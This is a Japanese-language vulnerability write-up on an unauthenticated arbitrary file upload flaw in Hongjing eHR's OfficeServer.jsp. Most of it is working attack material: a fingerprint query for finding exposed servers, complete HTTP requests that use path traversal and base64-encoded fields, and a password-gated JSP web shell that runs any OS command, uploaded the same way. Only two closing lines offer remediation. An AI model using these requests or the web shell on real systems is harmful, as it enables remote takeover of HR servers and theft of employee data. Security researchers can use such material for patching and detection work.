0x01 製品紹介
Honjing eHR 人事管理ソフトウェアは、動的、協調的、プロセス指向、戦略的なニーズを満たすために、人事管理とデジタル アプリケーションを統合するソフトウェアです。
0x02 脆弱性の概要
Honjing eHR OfficeServer.jsp インターフェイスには任意のファイル アップロードの脆弱性があり、認証されていないリモート攻撃者がこの脆弱性を利用して任意のファイルをアップロードし、最終的にサーバーをクラッシュさせる可能性があります。
0x03 再発環境
Intergraph フィンガープリント: app.name="Hongjing HCM"
0x04 脆弱性の再発
実証実験
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close
DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cNjYuanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%out.println("bbbbbbbbbbbbbbb");%>
PS: リクエスト本文の FILETYPE フィールドは、base64 で暗号化されたアップロードされたファイル名です。
アップロードしてみる
確認する
エクスプロイト
コマンド echo を使用して JSP スクリプトを作成します。
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
アップロード
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close
DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cODguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
コマンドの実行
0x05 修復の提案
インターネットに公開されたサーフェスを閉じるか、インターフェイスのアクセス許可を設定してください
安全なバージョンにアップグレードする